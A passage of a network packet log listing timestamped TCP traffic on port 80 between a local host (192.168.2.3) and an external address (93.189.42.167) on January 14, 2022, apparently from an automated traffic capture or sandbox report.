Jan 14, 2022 01:51:35.616627932 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.616689920 CET	49836	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.668132067 CET	80	49836	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.680994034 CET	49837	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.733122110 CET	80	49837	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.733242989 CET	49837	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.763256073 CET	49837	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.763309002 CET	49837	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.815479040 CET	80	49837	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.845590115 CET	80	49837	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.845695019 CET	49837	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.849003077 CET	49837	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.900978088 CET	80	49837	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.936995029 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.987992048 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:35.988100052 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.988192081 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:35.988626003 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:36.038687944 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:36.038999081 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:36.064418077 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:36.064466000 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:36.064558029 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:36.870830059 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:36.921607018 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:36.980608940 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.033080101 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.033183098 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.033293009 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.094238997 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094276905 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094300985 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094325066 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094350100 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094372988 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094432116 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.094469070 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.094475985 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.094727993 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094755888 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094779015 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094804049 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.094822884 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.094847918 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.146683931 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.146752119 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.146791935 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.146831036 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.146831989 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.146871090 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.146884918 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.146913052 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.146951914 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.146972895 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.146991014 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147030115 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147042990 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.147069931 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147106886 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147120953 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.147146940 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147185087 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147197962 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.147222996 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147262096 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147272110 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.147301912 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147341013 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147349119 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.147382021 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147418022 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147430897 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.147458076 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.147506952 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.199330091 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199389935 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199429035 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199469090 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199486971 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.199507952 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199531078 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.199553967 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199594975 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199610949 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.199635029 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199676037 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199691057 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.199716091 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199753046 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199765921 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.199793100 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199831963 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199852943 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.199871063 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199909925 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199923992 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.199948072 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199985981 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.199999094 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200026035 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200062037 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200076103 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200102091 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200139999 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200153112 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200180054 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200218916 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200228930 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200258970 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200298071 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200308084 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200336933 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200372934 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200387001 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200411081 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200448990 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200462103 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200488091 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200526953 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200536966 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200565100 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200604916 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200612068 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200643063 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200681925 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200695038 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200721025 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200759888 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200774908 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200798035 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200836897 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200850964 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.200874090 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.200926065 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.252993107 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253058910 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253098011 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253137112 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253145933 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253176928 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253187895 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253220081 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253259897 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253282070 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253300905 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253341913 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253355980 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253381968 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253417969 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253442049 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253456116 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253494978 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253509045 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253535032 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253573895 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253582954 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253611088 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253649950 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253659964 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253694057 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253731966 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253770113 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253796101 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253808022 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253839016 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253875971 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253926992 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.253931046 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.253972054 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254009008 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254021883 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254048109 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254086971 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254101038 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254122972 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254163027 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254170895 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254200935 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254240990 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254250050 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254281044 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254317045 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254329920 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254357100 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254396915 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254405022 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254434109 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254472971 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254481077 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254512072 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254551888 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254559994 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254591942 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254628897 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254651070 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254676104 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254715919 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254724979 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254753113 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254791021 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254805088 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254829884 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254868984 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.254883051 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.254909039 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.255521059 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.306904078 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.306962967 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307003975 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307033062 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307041883 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307080984 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307100058 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307122946 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307163000 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307183027 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307203054 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307243109 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307254076 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307281017 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307320118 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307334900 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307359934 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307396889 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307413101 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307439089 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307476044 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307492971 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307517052 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307558060 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307573080 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307595968 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307635069 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307641983 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307677031 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307713032 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307727098 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307753086 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307790041 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307804108 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307828903 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307868004 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307898045 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307904959 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307945013 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.307967901 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.307986021 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308023930 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308058977 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308063030 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308100939 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308115005 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308140039 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308178902 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308187962 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308214903 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308254004 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308268070 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308293104 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308330059 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308348894 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308368921 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308407068 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308420897 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308445930 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308485031 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308499098 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308521032 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308559895 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308573961 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308598995 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308635950 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308650970 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308677912 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308715105 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308727026 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.308753967 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.308804035 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.360773087 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.360841990 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.360882998 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.360919952 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.360948086 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.360958099 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.360989094 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361000061 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361040115 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361074924 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361079931 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361119986 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361145973 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361160994 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361200094 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361217022 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361238003 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361275911 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361293077 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361314058 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361352921 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361373901 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361392021 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361430883 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361444950 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361470938 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361510038 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361524105 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361546993 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361584902 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361602068 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361624002 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361663103 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361682892 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361707926 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361766100 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.361934900 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.361974955 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362015009 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362040043 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362054110 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362092018 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362112999 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362129927 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362169027 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362185001 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362207890 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362247944 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362262964 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362283945 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362323046 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362338066 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362361908 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362399101 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362412930 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362437963 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362476110 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362497091 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362514973 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362554073 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:37.362571001 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:37.362590075 CET	80	49839	93.189.42.167	192.168.2.3
